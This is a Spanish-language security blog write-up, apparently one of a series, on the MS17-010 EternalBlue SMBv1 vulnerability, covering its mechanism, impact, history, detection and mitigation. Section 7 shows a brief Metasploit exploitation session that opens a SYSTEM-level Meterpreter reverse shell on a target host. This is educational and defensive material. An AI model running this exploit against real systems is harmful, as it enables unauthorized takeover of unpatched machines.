cd ~/blog

~/vulns/ms17-010-eternalblue-cve-2017-0143.md

MS17-010 EternalBlue (CVE-2017-0143)

rce 18-06-2026
WindowsSMBRCEEternalBlueMS17-010

~3 min de lectura


1. Descripción técnica del ataque

EternalBlue (boletín MS17-010) es un conjunto de vulnerabilidades críticas en la implementación de SMBv1 de Microsoft Windows que permite ejecución remota de código. El identificador principal es CVE-2017-0143, acompañado de CVE-2017-0144 a CVE-2017-0148.

El fallo central está en cómo srv.sys procesa paquetes SMBv1 Trans2 especialmente manipulados. Una conversión incorrecta entre estructuras de petición (de tipo FEA list "extendido" a "no extendido") provoca un desbordamiento de búfer en el pool del kernel (non-paged pool). Combinando este overflow con técnicas de heap grooming (a menudo apoyadas en el primitivo EternalRomance/DoublePulsar), el atacante consigue escribir en memoria del kernel y ejecutar código con privilegios de SYSTEM, sin autenticación.

Se explota contra el puerto SMB 445.

2. Impacto de la vulnerabilidad

  • RCE remoto, no autenticado y a nivel de kernel (SYSTEM): compromiso total del equipo.
  • Propagación masiva tipo gusano: fue el motor de WannaCry (mayo 2017) y NotPetya (junio 2017), dos de los ataques de ransomware/wiper más destructivos de la historia, con daños globales de miles de millones de dólares.
  • Al residir en el kernel, un fallo en la explotación puede provocar un BSOD (pantalla azul) en el objetivo.

3. Historia y evolución

  • EternalBlue fue desarrollado originalmente como herramienta ofensiva por la NSA (equipo Equation Group).
  • 14 de abril de 2017: el grupo Shadow Brokers filtra el exploit públicamente.
  • 14 de marzo de 2017 (un mes antes de la filtración) Microsoft ya había publicado el parche MS17-010, pero millones de sistemas sin actualizar quedaron expuestos.
  • Mayo de 2017: WannaCry usa EternalBlue para propagarse mundialmente. Poco después, NotPetya repite el patrón.
  • Existen módulos de Metasploit (exploit/windows/smb/ms17_010_eternalblue y ms17_010_psexec) ampliamente usados.

4. Factores que la hacen posible

  1. Sistema Windows sin el parche MS17-010 con SMBv1 habilitado (Windows XP/Vista/7/8.1, Server 2003/2008/2012, e incluso Windows 10 temprano).
  2. El puerto 445 accesible para el atacante.
  3. La presencia del protocolo legacy SMBv1, que debería estar deshabilitado.

5. Detección

  • Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms17-010 target
  • Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target
  • Metasploit: el módulo auxiliar auxiliary/scanner/smb/smb_ms17_010 permite comprobar la vulnerabilidad antes de explotar.

6. Mitigación

  1. Aplicar el parche MS17-010 (solución definitiva).
  2. Deshabilitar SMBv1 por completo (recomendado por Microsoft incluso en sistemas parcheados).
  3. Bloquear el puerto 445 en el perímetro y segmentar la red interna.
  4. Retirar sistemas operativos sin soporte y mantener una política de parcheo ágil.

7. Ejemplo de explotación real

Con Metasploit, usando el módulo psexec de MS17-010:

msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.1.139:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending stage to 192.168.1.139
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

8. Clasificación

  • Tipo: Buffer Overflow (kernel pool) → Remote Code Execution
  • CVE: CVE-2017-0143 (y CVE-2017-0144 … 0148), boletín MS17-010
  • CWE:
    • CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
    • CWE-787 – Out-of-bounds Write

9. Resumen

EternalBlue (MS17-010) explota un desbordamiento en el pool del kernel a través de SMBv1, otorgando RCE remoto como SYSTEM sin autenticación. Filtrado por Shadow Brokers en 2017, fue el motor de WannaCry y NotPetya. La defensa es parchear, deshabilitar SMBv1 y bloquear el puerto 445. Sucesor histórico de MS08-067 como vulnerabilidad crítica de SMB en Windows.

// relacionados